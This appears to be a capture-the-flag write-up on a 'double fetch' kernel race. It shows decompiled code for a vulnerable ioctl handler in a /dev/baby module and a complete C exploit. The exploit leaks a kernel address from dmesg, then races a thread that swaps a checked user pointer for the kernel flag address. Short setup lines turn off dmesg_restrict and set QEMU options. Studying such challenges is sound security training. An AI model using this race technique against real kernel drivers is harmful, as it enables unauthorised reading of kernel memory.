Double Fetch¶

.data:0000000000000480 flag            dq offset aFlagThisWillBe
.data:0000000000000480                                         ; DATA XREF: baby_ioctl+2A↑r
.data:0000000000000480                                         ; baby_ioctl+DB↑r ...
.data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
.data:0000000000000488                 align 20h

signed __int64 __fastcall baby_ioctl(__int64 a1, attr *a2)
{
  attr *v2; // rdx
  signed __int64 result; // rax
  int i; // [rsp-5Ch] [rbp-5Ch]
  attr *v5; // [rsp-58h] [rbp-58h]

  _fentry__(a1, a2);
  v5 = v2;
  if ( (_DWORD)a2 == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    result = 0LL;
  }
  else if ( (_DWORD)a2 == 0x1337
         && !_chk_range_not_ok((__int64)v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && !_chk_range_not_ok(
               v5->flag_str,
               SLODWORD(v5->flag_len),
               *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && LODWORD(v5->flag_len) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(v5->flag_str + i) != flag[i] )
        return 0x16LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    result = 0LL;
  }
  else
  {
    result = 0xELL;
  }
  return result;
}

00000000 attr            struc ; (sizeof=0x10, mappedto_3)
00000000 flag_str        dq ?
00000008 flag_len        dq ?
00000010 attr            ends

// gcc -static exp.c -lpthread -o exp
#include <string.h>
char *strstr(const char *haystack, const char *needle);
#define _GNU_SOURCE         /* See feature_test_macros(7) */
#include <string.h>
char *strcasestr(const char *haystack, const char *needle);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>

#define TRYTIME 0x1000  //碰撞次數
#define LEN 0x1000

struct attr
{
    char *flag;
    size_t len;
};
unsigned long long addr;
int finish =0;
char buf[LEN+1]={0};
//線程函數，不斷修改flag指向的地址爲內核中flag地址
void change_attr_value(void *s){
    struct attr * s1 = s; 
    while(finish==0){
    s1->flag = addr;
    }
}

int main(void)
{
    int addr_fd;
    char *idx;
    int fd = open("/dev/baby",0);
    int ret = ioctl(fd,0x6666);    
    pthread_t t1;
    struct attr t;
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);   
    //獲取內核硬編碼的flag地址
    system("dmesg > /tmp/record.txt");
    addr_fd = open("/tmp/record.txt",O_RDONLY);
    lseek(addr_fd,-LEN,SEEK_END);
    read(addr_fd,buf,LEN);
    close(addr_fd);
    idx = strstr(buf,"Your flag is at ");
    if (idx == 0){
        printf("[-]Not found addr");
        exit(-1);
    }
    else{
        idx+=16;
        addr = strtoull(idx,idx+16,16);
        printf("[+]flag addr: %p\n",addr);
    }
    //構造attr數據結構
    t.len = 33;
    t.flag = buf;
    //新建惡意線程
    pthread_create(&t1, NULL, change_attr_value,&t);
    for(int i=0;i<TRYTIME;i++){
        ret = ioctl(fd, 0x1337, &t);
        t.flag = buf;
    }
    finish = 1;
    pthread_join(t1, NULL);
    close(fd);
    puts("[+]result is :");
    system("dmesg | grep flag");
    return 0;
}

echo 0 > /proc/sys/kernel/dmesg_restrict

-smp 2,cores=2,threads=1  \